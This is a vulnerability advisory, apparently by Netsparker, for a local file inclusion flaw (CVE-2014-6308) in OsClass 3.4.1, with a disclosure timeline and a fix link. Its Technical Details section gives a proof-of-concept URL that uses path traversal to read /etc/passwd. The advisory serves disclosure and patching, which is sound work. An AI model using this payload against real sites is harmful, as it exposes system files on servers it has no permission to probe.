OSClass 3.4.1 - 'index.php' Local File Inclusion

Information

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Advisory by Netsparker.

Name : LFI Vulnerability in OsClass

Affected Software : OsClass

Affected Versions: 3.4.1 and possibly below

Vendor Homepage : http://osclass.org/

Vulnerability Type : Local File Inclusion

Severity : Critical

CVE-ID: CVE-2014-6308

Netsparker Advisory Reference : NS-14-031



Advisory URL

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https://www.netsparker.com/lfi-vulnerability-in-osclass/



Description

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Local file inclusion vulnerability where discovered in Osclass, an

open source project that allows you to create a classifieds sites.



Technical Details

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Proof of Concept URL for LFI in OsClass:



http://example.com/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd



Advisory Timeline

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03/09/2014 - First Contact

03/09/2014 - Vulnerability fixed:

https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435

15/09/2014 - Fix released publicly in Osclass 3.4.2



Credits & Authors

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These issues have been discovered by Omar Kurt while testing

Netsparker Web Application Security Scanner.



About Netsparker

----------------

Netsparker can find and report security issues and vulnerabilities

such as SQL Injection and Cross-site Scripting (XSS) in all websites

and web applications regardless of the platform and the technology

they are built on. Netsparker's unique detection and exploitation

techniques allows it to be dead accurate in reporting hence it's the

first and the only False Positive Free web application security

scanner. For more information on Netsparker visit

https://www.netsparker.com.